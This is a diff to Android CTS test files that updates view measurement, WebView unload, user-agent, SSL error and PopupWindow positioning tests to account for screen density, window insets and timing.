diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
index 5ee9753..8f1b199 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
@@ -29,6 +29,8 @@
 import android.view.KeyEvent;
 import android.view.ViewConfiguration;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -52,6 +54,7 @@
      * Tests to ensure that the foregrounded app can handle a long-press on the back button on
      * non-watch devices
      */
+    @CddTest(requirement="7.2.3/H-0-2,T-0-2")
     @Test
     public void testAppIsNotDismissed() {
         // Only run for non-watch devices
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
index 69e1e7f..054de45 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
@@ -65,6 +65,8 @@
 
         mContent = new ColoredGrid(this);
         setContentView(mContent);
+        View view = this.getWindow().getDecorView();
+        view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
         mContent.getViewTreeObserver().addOnDrawListener(this);
         mContent.setOnApplyWindowInsetsListener(this);
     }
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
index f697095..d8a512d 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
@@ -64,6 +64,8 @@
 
         mContent = new WideGamutBitmapView(this);
         setContentView(mContent);
+        View view = this.getWindow().getDecorView();
+        view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
         mContent.getViewTreeObserver().addOnDrawListener(this);
     }
 
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 831aa15..6625e0a 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -1820,24 +1820,29 @@
     @Test
     public void testMeasure() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
+
+        float density = view.getContext().getResources().getDisplayMetrics().density;
+        int size1 = (int) (100 * density + 0.5);
+        int size2 = (int) (75 * density + 0.5);
+
         assertTrue(view.hasCalledOnMeasure());
-        assertEquals(100, view.getMeasuredWidth());
-        assertEquals(200, view.getMeasuredHeight());
+        assertEquals(size1, view.getMeasuredWidth());
+        assertEquals(size2, view.getMeasuredHeight());
 
         view.reset();
         mActivityRule.runOnUiThread(view::requestLayout);
         mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnMeasure());
-        assertEquals(100, view.getMeasuredWidth());
-        assertEquals(200, view.getMeasuredHeight());
+        assertEquals(size1, view.getMeasuredWidth());
+        assertEquals(size2, view.getMeasuredHeight());
 
         view.reset();
-        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(200, 100);
+        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(size2, size1);
         mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams));
         mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnMeasure());
-        assertEquals(200, view.getMeasuredWidth());
-        assertEquals(100, view.getMeasuredHeight());
+        assertEquals(size2, view.getMeasuredWidth());
+        assertEquals(size1, view.getMeasuredHeight());
     }
 
     @Test(expected=NullPointerException.class)
@@ -2416,11 +2421,15 @@
         final View view = mActivity.findViewById(R.id.mock_view);
         Rect rect = new Rect();
 
+        float density = view.getContext().getResources().getDisplayMetrics().density;
+        int size1 = (int) (100 * density + 0.5);
+        int size2 = (int) (75 * density + 0.5);
+
         assertTrue(view.getLocalVisibleRect(rect));
         assertEquals(0, rect.left);
         assertEquals(0, rect.top);
-        assertEquals(100, rect.right);
-        assertEquals(200, rect.bottom);
+        assertEquals(size1, rect.right);
+        assertEquals(size2, rect.bottom);
 
         final LinearLayout.LayoutParams layoutParams1 = new LinearLayout.LayoutParams(0, 300);
         mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams1));
diff --git a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
index 7f062ad..783d9ca 100644
--- a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
+++ b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
@@ -21,6 +21,7 @@
 
 import android.app.Activity;
 import android.content.res.ColorStateList;
+import android.content.res.Resources;
 import android.graphics.Color;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
@@ -52,9 +53,7 @@
     @Test
     public void testSettersAndGetters() {
         Activity activity = mActivityRule.getActivity();
-        if (!activity.getResources().getBoolean(
-                com.android.internal.R.bool.config_useDefaultFocusHighlight)) {
-            // Skip the test when config_useDefaultFocusHighlight is false
+        if (!isDefaultFocusHighlightEnabled(activity)) {
             return;
         }
 
@@ -87,9 +86,7 @@
     @Test
     public void testInflating() {
         Activity activity = mActivityRule.getActivity();
-        if (!activity.getResources().getBoolean(
-                com.android.internal.R.bool.config_useDefaultFocusHighlight)) {
-            // Skip the test when config_useDefaultFocusHighlight is false
+        if (!isDefaultFocusHighlightEnabled(activity)) {
             return;
         }
 
@@ -111,9 +108,7 @@
     @Test
     public void testIsDefaultFocusHighlightNeeded() {
         Activity activity = mActivityRule.getActivity();
-        if (!activity.getResources().getBoolean(
-                com.android.internal.R.bool.config_useDefaultFocusHighlight)) {
-            // Skip the test when config_useDefaultFocusHighlight is false
+        if (!isDefaultFocusHighlightEnabled(activity)) {
             return;
         }
 
@@ -121,7 +116,7 @@
         final ImageView imageView =
                 (ImageView) activity.findViewById(R.id.image_view_to_test_highlight_needed);
 
-        final Drawable[] drawables = new Drawable[] {
+        final Drawable[] drawables = new Drawable[]{
                 null,  // null
                 new ColorDrawable(Color.WHITE), // not stateful
                 new RippleDrawable(ColorStateList.valueOf(Color.WHITE), null, null) // stateful
@@ -167,4 +162,9 @@
             }
         }
     }
+
+    private boolean isDefaultFocusHighlightEnabled(Activity activity) {
+        return activity.getResources().getBoolean(Resources.getSystem().getIdentifier(
+                "config_useDefaultFocusHighlight", "bool", "android"));
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 4fc5e04..ce5ab6e 100644
--- a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -157,7 +157,7 @@
     }
 
     public long getCaptureDurationMs() {
-        return mOnEmbedded ? 100000 : 10000;
+        return mOnEmbedded ? 100000 : 50000;
     }
 
     public TestResult runTest(AnimationTestCase animationTestCase) throws Throwable {
@@ -175,7 +175,7 @@
             return testResult;
         }
 
-        final long timeOutMs = mOnEmbedded ? 125000 : 25000;
+        final long timeOutMs = mOnEmbedded ? 125000 : 62500;
         final long endCaptureDelayMs = START_CAPTURE_DELAY_MS + getCaptureDurationMs();
         final long endDelayMs = endCaptureDelayMs + 1000;
 
diff --git a/tests/tests/webkit/assets/webkit/jsunload.html b/tests/tests/webkit/assets/webkit/jsunload.html
index f016eb7..593ecc9 100644
--- a/tests/tests/webkit/assets/webkit/jsunload.html
+++ b/tests/tests/webkit/assets/webkit/jsunload.html
@@ -22,9 +22,12 @@
             return "this message will be a hardcoded string in chrome.";
         }
         window.onbeforeunload = fireUnload;
+        window.onload = function() {
+            document.addEventListener("click", () => document.title = "touch received", false);
+            document.title = "listener added";
+        }
     </script>
     <body>
         javascript unload test
     </body>
 </html>
-
diff --git a/tests/tests/webkit/res/layout/webview_layout.xml b/tests/tests/webkit/res/layout/webview_layout.xml
index 7a0ed0d..d266d21 100644
--- a/tests/tests/webkit/res/layout/webview_layout.xml
+++ b/tests/tests/webkit/res/layout/webview_layout.xml
@@ -17,9 +17,9 @@
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:orientation="vertical"
     android:layout_width="match_parent"
-    android:layout_height="wrap_content">
+    android:layout_height="match_parent">
 
     <WebView android:id="@+id/web_page"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content" />
+        android:layout_width="match_parent"
+        android:layout_height="match_parent" />
 </LinearLayout>
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 92573d8..fb66261 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -31,9 +31,19 @@
 
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
+import com.google.common.util.concurrent.SettableFuture;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
 
 public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
     private static final long TEST_TIMEOUT = 5000L;
+    private static final String JAVASCRIPT_UNLOAD = "javascript unload";
+    private static final String LISTENER_ADDED = "listener added";
+    private static final String TOUCH_RECEIVED = "touch received";
 
     private CtsTestServer mWebServer;
     private WebIconDatabase mIconDb;
@@ -201,34 +211,49 @@
         runWindowTest(false);
     }
 
+    // Note that test is still a little flaky. See b/119468441.
     public void testOnJsBeforeUnloadIsCalled() throws Exception {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
 
-        final MockWebChromeClient webChromeClient = new MockWebChromeClient();
-        mOnUiThread.setWebChromeClient(webChromeClient);
-
         final WebSettings settings = mOnUiThread.getSettings();
         settings.setJavaScriptEnabled(true);
         settings.setJavaScriptCanOpenWindowsAutomatically(true);
 
-        assertFalse(webChromeClient.hadOnJsBeforeUnload());
+        final BlockingQueue<String> pageTitleQueue = new ArrayBlockingQueue<>(3);
+        final SettableFuture<Void> onJsBeforeUnloadFuture = SettableFuture.create();
+        final MockWebChromeClient webChromeClientWaitTitle = new MockWebChromeClient() {
+            @Override
+            public void onReceivedTitle(WebView view, String title) {
+                super.onReceivedTitle(view, title);
+                pageTitleQueue.add(title);
+            }
 
-        mOnUiThread.loadUrlAndWaitForCompletion(mWebServer.getAssetUrl(TestHtmlConstants.JS_UNLOAD_URL));
+            @Override
+            public boolean onJsBeforeUnload(
+                WebView view, String url, String message, JsResult result) {
+                boolean ret = super.onJsBeforeUnload(view, url, message, result);
+                onJsBeforeUnloadFuture.set(null);
+                return ret;
+            }
+        };
+        mOnUiThread.setWebChromeClient(webChromeClientWaitTitle);
 
+        mOnUiThread.loadUrlAndWaitForCompletion(
+            mWebServer.getAssetUrl(TestHtmlConstants.JS_UNLOAD_URL));
+
+        assertEquals(JAVASCRIPT_UNLOAD, pageTitleQueue.poll(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        assertEquals(LISTENER_ADDED, pageTitleQueue.poll(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
         // Send a user gesture, required for unload to execute since WebView version 60.
         tapWebView();
+        assertEquals(TOUCH_RECEIVED, pageTitleQueue.poll(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
 
         // unload should trigger when we try to navigate away
-        mOnUiThread.loadUrlAndWaitForCompletion(mWebServer.getAssetUrl(TestHtmlConstants.HELLO_WORLD_URL));
+        mOnUiThread.loadUrlAndWaitForCompletion(
+            mWebServer.getAssetUrl(TestHtmlConstants.HELLO_WORLD_URL));
 
-        new PollingCheck(TEST_TIMEOUT) {
-            @Override
-            protected boolean check() {
-                return webChromeClient.hadOnJsBeforeUnload();
-            }
-        }.run();
+        waitForFuture(onJsBeforeUnloadFuture);
     }
 
     public void testOnJsAlert() throws Exception {
@@ -337,6 +362,20 @@
         getInstrumentation().waitForIdleSync();
     }
 
+    // TODO(ctzsm): Remove this method and replace its usage when we have it in a util class.
+    private static <T> T waitForFuture(Future<T> future) throws Exception {
+        try {
+            return future.get(TEST_TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (ExecutionException e) {
+            Throwable cause = e.getCause();
+            if (cause instanceof Error)
+                throw(Error) cause;
+            if (cause instanceof RuntimeException)
+                throw(RuntimeException) cause;
+            throw new RuntimeException(cause);
+        }
+    }
+
     private class MockWebChromeClient extends WaitForProgressClient {
         private boolean mHadOnProgressChanged;
         private boolean mHadOnReceivedTitle;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 55e3c40..fba3bf8 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -105,54 +105,91 @@
      * compatibility definition (tokens in angle brackets are variables, tokens in square
      * brackets are optional):
      * <p/>
-     * Mozilla/5.0 (Linux;[ U;] Android <version>;[ <language>-<country>;]
-     * [<devicemodel>;] Build/<buildID>; wv) AppleWebKit/<major>.<minor> (KHTML, like Gecko)
-     * Version/<major>.<minor> Chrome/<major>.<minor>.<branch>.<build>[ Mobile]
-     * Safari/<major>.<minor>
+     * Mozilla/5.0 (Linux; Android <version>; [<devicemodel>] [Build/<buildID>]; wv)
+     * AppleWebKit/<major>.<minor> (KHTML, like Gecko) Version/<major>.<minor>
+     * Chrome/<major>.<minor>.<branch>.<build>[ Mobile] Safari/<major>.<minor>
      */
     public void testUserAgentString_default() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
-        final String actualUserAgentString = mSettings.getUserAgentString();
-        Log.i(LOG_TAG, String.format("Checking user agent string %s", actualUserAgentString));
-        final String patternString =
-                "Mozilla/5\\.0 \\(Linux;( U;)? Android ([^;]+);( (\\w+)-(\\w+);)?" +
-                "\\s?(.*)\\sBuild/(.+); wv\\) AppleWebKit/(\\d+)\\.(\\d+) " +
-                "\\(KHTML, like Gecko\\) " +
-                "Version/\\d+\\.\\d+ Chrome/\\d+\\.\\d+\\.\\d+\\.\\d+( Mobile)? " +
-                "Safari/(\\d+)\\.(\\d+)";
-        // Groups used:
-        //  1 - SSL encryption strength token " U;" (optional)
-        //  2 - Android version
-        //  3 - full locale string (optional)
-        //  4   - country
-        //  5   - language
-        //  6 - device model (optional)
-        //  7 - build ID
-        //  8 - AppleWebKit major version number
-        //  9 - AppleWebKit minor version number
-        // 10 - " Mobile" string (optional)
-        // 11 - Safari major version number
-        // 12 - Safari minor version number
-        Log.i(LOG_TAG, String.format("Trying to match pattern %s", patternString));
-        final Pattern userAgentExpr = Pattern.compile(patternString);
-        Matcher patternMatcher = userAgentExpr.matcher(actualUserAgentString);
-        assertTrue(String.format("User agent string did not match expected pattern. \nExpected " +
-                        "pattern:\n%s\nActual:\n%s", patternString, actualUserAgentString),
-                        patternMatcher.find());
-        if (patternMatcher.group(3) != null) {
-            Locale currentLocale = Locale.getDefault();
-            assertEquals(currentLocale.getLanguage().toLowerCase(), patternMatcher.group(4));
-            assertEquals(currentLocale.getCountry().toLowerCase(), patternMatcher.group(5));
-        }
+        checkUserAgentStringHelper(mSettings.getUserAgentString(), true);
+    }
+
+    /**
+     * Verifies that the useragent testing regex is actually correct, because it's very complex.
+     */
+    public void testUserAgentStringTest() {
+        // All test UAs share the same prefix and suffix; only the middle part varies.
+        final String prefix = "Mozilla/5.0 (Linux; Android " + Build.VERSION.RELEASE + "; ";
+        final String suffix = "wv) AppleWebKit/0.0 (KHTML, like Gecko) Version/4.0 Chrome/0.0.0.0 Safari/0.0";
+
+        // Valid cases:
+        // Both model and build present
+        checkUserAgentStringHelper(prefix + Build.MODEL + " Build/" + Build.ID + "; " + suffix, true);
+        // Just model
+        checkUserAgentStringHelper(prefix + Build.MODEL + "; " + suffix, true);
+        // Just build
+        checkUserAgentStringHelper(prefix + "Build/" + Build.ID + "; " + suffix, true);
+        // Neither
+        checkUserAgentStringHelper(prefix + suffix, true);
+
+        // Invalid cases:
+        // No space between model and build
+        checkUserAgentStringHelper(prefix + Build.MODEL + "Build/" + Build.ID + "; " + suffix, false);
+        // No semicolon after model and/or build
+        checkUserAgentStringHelper(prefix + Build.MODEL + " Build/" + Build.ID + suffix, false);
+        checkUserAgentStringHelper(prefix + Build.MODEL + suffix, false);
+        checkUserAgentStringHelper(prefix + "Build/" + Build.ID + suffix, false);
+        // Double semicolon when both omitted
+        checkUserAgentStringHelper(prefix + "; " + suffix, false);
+    }
+
+    /**
+     * Helper function to validate that a given useragent string is or is not valid.
+     */
+    private void checkUserAgentStringHelper(final String useragent, boolean shouldMatch) {
+        String expectedRelease;
         if ("REL".equals(Build.VERSION.CODENAME)) {
-            // Model is only added in release builds
-            assertEquals(Build.MODEL, patternMatcher.group(6));
-            // Release version is valid only in release builds
-            assertEquals(Build.VERSION.RELEASE, patternMatcher.group(2));
+            expectedRelease = Pattern.quote(Build.VERSION.RELEASE);
+        } else {
+            // Non-release builds don't include real release version, be lenient.
+            expectedRelease = "[^;]+";
         }
-        assertEquals(Build.ID, patternMatcher.group(7));
+
+        // Build expected regex inserting the appropriate variables, as this is easier to
+        // understand and get right than matching any possible useragent and comparing the
+        // variables afterward.
+        final String patternString =
+                // Release version always has a semicolon after it:
+                Pattern.quote("Mozilla/5.0 (Linux; Android ") + expectedRelease + ";" +
+                // Model is optional, but if present must have a space first:
+                "( " + Pattern.quote(Build.MODEL) + ")?" +
+                // Build is optional, but if present must have a space first:
+                "( Build/" + Pattern.quote(Build.ID) + ")?" +
+                // We want a semicolon before the wv token, but we don't want to have two in a row
+                // if both model and build are omitted. Lookbehind assertions ensure either:
+                // - the previous character is a semicolon
+                // - or the previous character is NOT a semicolon AND a semicolon is added here.
+                "((?<=;)|(?<!;);)" +
+                // After that we can just check for " wv)" to finish the platform section:
+                Pattern.quote(" wv) ") +
+                // The rest of the expression is browser tokens and is fairly simple:
+                "AppleWebKit/\\d+\\.\\d+ " +
+                Pattern.quote("(KHTML, like Gecko) Version/4.0 ") +
+                "Chrome/\\d+\\.\\d+\\.\\d+\\.\\d+ " +
+                "(Mobile )?Safari/\\d+\\.\\d+";
+        final Pattern userAgentExpr = Pattern.compile(patternString);
+        Matcher patternMatcher = userAgentExpr.matcher(useragent);
+        if (shouldMatch) {
+            assertTrue(String.format("CDD(3.4.1/C-1-3) User agent string did not match expected pattern. \n" +
+                            "Expected pattern:\n%s\nActual:\n%s", patternString, useragent),
+                    patternMatcher.find());
+        } else {
+            assertFalse(String.format("Known-bad user agent string incorrectly matched. \n" +
+                            "Expected pattern:\n%s\nActual:\n%s", patternString, useragent),
+                    patternMatcher.find());
+        }
     }
 
     public void testAccessUserAgentString() throws Exception {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 58e59e5..523b90d 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -152,6 +152,7 @@
                 return true;
             }
         });
+        final int childCallCount = childWebViewClient.getShouldOverrideUrlLoadingCallCount();
         mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.BLANK_TAG_URL));
 
         new PollingCheck(TEST_TIMEOUT) {
@@ -160,6 +161,12 @@
                 return childWebViewClient.hasOnPageFinishedCalled();
             }
         }.run();
+        new PollingCheck(TEST_TIMEOUT) {
+          @Override
+          protected boolean check() {
+            return childWebViewClient.getShouldOverrideUrlLoadingCallCount() > childCallCount;
+          }
+        }.run();
         assertEquals(mWebServer.getAssetUrl(TestHtmlConstants.PAGE_WITH_LINK_URL),
                 childWebViewClient.getLastShouldOverrideUrl());
 
@@ -781,7 +788,6 @@
         @Override
         public void onLoadResource(WebView view, String url) {
             super.onLoadResource(view, url);
-            assertTrue(mOnPageStartedCalled);
             mOnLoadResourceCalled = true;
         }
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
index 0708568..c900a0d 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
@@ -731,12 +731,23 @@
         mOnUiThread.clearSslPreferences();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         // Page NOT loaded OK...
-        // In this case, we must NOT have received the onReceivedSslError callback as that is for
-        // recoverable (e.g. server auth) errors, whereas failing mandatory client auth is non-
-        // recoverable and should drop straight through to a load error.
-        assertFalse(webViewClient.wasOnReceivedSslErrorCalled());
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
-        assertEquals(WebViewClient.ERROR_FAILED_SSL_HANDSHAKE, webViewClient.onReceivedErrorCode());
+        //
+        // In this test, we expect both a recoverable and non-recoverable error:
+        //
+        //  1. WebView does not trust the test server's certificate. This is a recoverable error, so
+        //     WebView invokes #onReceivedSslError (and the WebViewClient calls #proceed). We don't
+        //     specifically intend to test this part of the scenario, but we can't easily mock out
+        //     WebView's certificate roots.
+        //  2. WebView proceeds with the handshake without providing client authentication. The
+        //     server fails the client. This is non-recoverable, so WebView invokes
+        //     #onReceivedError.
+        //
+        // We only assert the second error, since earlier WebView versions had a bug in which
+        // WebView hit error 2 first, which prevented it from hitting error 1.
+        assertFalse("Title should not be updated, since page load should have failed",
+                TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
+        assertEquals("Expected ERROR_FAILED_SSL_HANDSHAKE in onReceivedError",
+                WebViewClient.ERROR_FAILED_SSL_HANDSHAKE, webViewClient.onReceivedErrorCode());
     }
 
     public void testProceedClientCertRequest() throws Throwable {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index dd081ff..6f86a11 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1358,7 +1358,7 @@
         assertNull(mWebView.getUrl());
         String imgUrl = TestHtmlConstants.SMALL_IMG_URL; // relative
         // Snippet of HTML that will prevent favicon requests to the test server.
-        final String HTML_HEADER = "<html><head><link rel=\"shortcut icon\" href=\"#\" /></head>";
+        final String HTML_HEADER = "<html><head><link rel=\"shortcut icon\" href=\"%23\" /></head>";
 
         // Trying to resolve a relative URL against a data URL without a base URL
         // will fail and we won't make a request to the test web server.
@@ -1965,8 +1965,8 @@
         final String imgUrl = mWebServer.getAssetUrl(TestHtmlConstants.LARGE_IMG_URL);
         mOnUiThread.loadDataAndWaitForCompletion(
                 "<html><head><title>Title</title><style type=\"text/css\">"
-                + "#imgElement { -webkit-transform: translate3d(0,0,1); }"
-                + "#imgElement.finish { -webkit-transform: translate3d(0,0,0);"
+                + "%23imgElement { -webkit-transform: translate3d(0,0,1); }"
+                + "%23imgElement.finish { -webkit-transform: translate3d(0,0,0);"
                 + " -webkit-transition-duration: 1ms; }</style>"
                 + "<script type=\"text/javascript\">function imgLoad() {"
                 + "imgElement = document.getElementById('imgElement');"
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
old mode 100644
new mode 100755
index 330a92a..c25c620
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -32,14 +32,17 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.graphics.Color;
+import android.graphics.Point;
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.SystemClock;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.FlakyTest;
 import android.support.test.filters.SmallTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
@@ -55,6 +58,7 @@
 import android.view.View.OnTouchListener;
 import android.view.ViewGroup;
 import android.view.ViewGroup.LayoutParams;
+import android.view.WindowInsets;
 import android.view.WindowManager;
 import android.widget.ImageView;
 import android.widget.PopupWindow;
@@ -68,6 +72,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@FlakyTest
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class PopupWindowTest {
@@ -75,6 +80,7 @@
     private static final int CONTENT_SIZE_DP = 30;
 
     private Instrumentation mInstrumentation;
+    private Context mContext;
     private PopupWindowCtsActivity mActivity;
     private PopupWindow mPopupWindow;
     private TextView mTextView;
@@ -86,6 +92,7 @@
     @Before
     public void setup() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = InstrumentationRegistry.getContext();
         mActivity = mActivityRule.getActivity();
     }
 
@@ -628,7 +635,6 @@
     public void testShowAtLocation() throws Throwable {
         int[] popupContentViewInWindowXY = new int[2];
         int[] popupContentViewOnScreenXY = new int[2];
-        Rect containingRect = new Rect();
 
         mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         // Do not attach within the decor; we will be measuring location
@@ -637,9 +643,9 @@
         assertFalse(mPopupWindow.isAttachedInDecor());
 
         final View upperAnchor = mActivity.findViewById(R.id.anchor_upper);
-
-        final int xOff = 10;
-        final int yOff = 21;
+        final WindowInsets windowInsets = upperAnchor.getRootWindowInsets();
+        final int xOff = windowInsets.getSystemWindowInsetLeft() + 10;
+        final int yOff = windowInsets.getSystemWindowInsetTop() + 21;
         assertFalse(mPopupWindow.isShowing());
         mPopupWindow.getContentView().getLocationInWindow(popupContentViewInWindowXY);
         assertEquals(0, popupContentViewInWindowXY[0]);
@@ -652,14 +658,11 @@
         assertTrue(mPopupWindow.isShowing());
         mPopupWindow.getContentView().getLocationInWindow(popupContentViewInWindowXY);
         mPopupWindow.getContentView().getLocationOnScreen(popupContentViewOnScreenXY);
-        upperAnchor.getWindowDisplayFrame(containingRect);
 
         assertTrue(popupContentViewInWindowXY[0] >= 0);
         assertTrue(popupContentViewInWindowXY[1] >= 0);
-        assertEquals(containingRect.left + popupContentViewInWindowXY[0] + xOff,
-                popupContentViewOnScreenXY[0]);
-        assertEquals(containingRect.top + popupContentViewInWindowXY[1] + yOff,
-                popupContentViewOnScreenXY[1]);
+        assertEquals(popupContentViewInWindowXY[0] + xOff, popupContentViewOnScreenXY[0]);
+        assertEquals(popupContentViewInWindowXY[1] + yOff, popupContentViewOnScreenXY[1]);
 
         dismissPopup();
     }
@@ -940,7 +943,7 @@
         int[] fstXY = new int[2];
         int[] sndXY = new int[2];
         int[] viewInWindowXY = new int[2];
-        Rect containingRect = new Rect();
+        final Point popupPos = new Point();
 
         mActivityRule.runOnUiThread(() -> {
             mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
@@ -959,7 +962,6 @@
         showPopup();
         mPopupWindow.getContentView().getLocationInWindow(viewInWindowXY);
         final View containerView = mActivity.findViewById(R.id.main_container);
-        containerView.getWindowDisplayFrame(containingRect);
 
         // update if it is not shown
         mActivityRule.runOnUiThread(() -> mPopupWindow.update(80, 80));
@@ -969,8 +971,11 @@
         assertEquals(80, mPopupWindow.getWidth());
         assertEquals(80, mPopupWindow.getHeight());
 
+        final WindowInsets windowInsets = containerView.getRootWindowInsets();
+        popupPos.set(windowInsets.getStableInsetLeft() + 20, windowInsets.getStableInsetTop() + 50);
+
         // update if it is not shown
-        mActivityRule.runOnUiThread(() -> mPopupWindow.update(20, 50, 50, 50));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.update(popupPos.x, popupPos.y, 50, 50));
 
         mInstrumentation.waitForIdleSync();
         assertTrue(mPopupWindow.isShowing());
@@ -978,11 +983,14 @@
         assertEquals(50, mPopupWindow.getHeight());
 
         mPopupWindow.getContentView().getLocationOnScreen(fstXY);
-        assertEquals(containingRect.left + viewInWindowXY[0] + 20, fstXY[0]);
-        assertEquals(containingRect.top + viewInWindowXY[1] + 50, fstXY[1]);
+        assertEquals(popupPos.x + viewInWindowXY[0], fstXY[0]);
+        assertEquals(popupPos.y + viewInWindowXY[1], fstXY[1]);
+
+        popupPos.set(windowInsets.getStableInsetLeft() + 4, windowInsets.getStableInsetTop());
 
         // ignore if width or height is -1
-        mActivityRule.runOnUiThread(() -> mPopupWindow.update(4, 0, -1, -1, true));
+        mActivityRule.runOnUiThread(
+                () -> mPopupWindow.update(popupPos.x, popupPos.y, -1, -1, true));
         mInstrumentation.waitForIdleSync();
 
         assertTrue(mPopupWindow.isShowing());
@@ -990,8 +998,8 @@
         assertEquals(50, mPopupWindow.getHeight());
 
         mPopupWindow.getContentView().getLocationOnScreen(sndXY);
-        assertEquals(containingRect.left + viewInWindowXY[0] + 4, sndXY[0]);
-        assertEquals(containingRect.top + viewInWindowXY[1], sndXY[1]);
+        assertEquals(popupPos.x + viewInWindowXY[0], sndXY[0]);
+        assertEquals(popupPos.y + viewInWindowXY[1], sndXY[1]);
 
         dismissPopup();
     }
@@ -1327,9 +1335,17 @@
 
         for (int i = 0; i < 2; i++) {
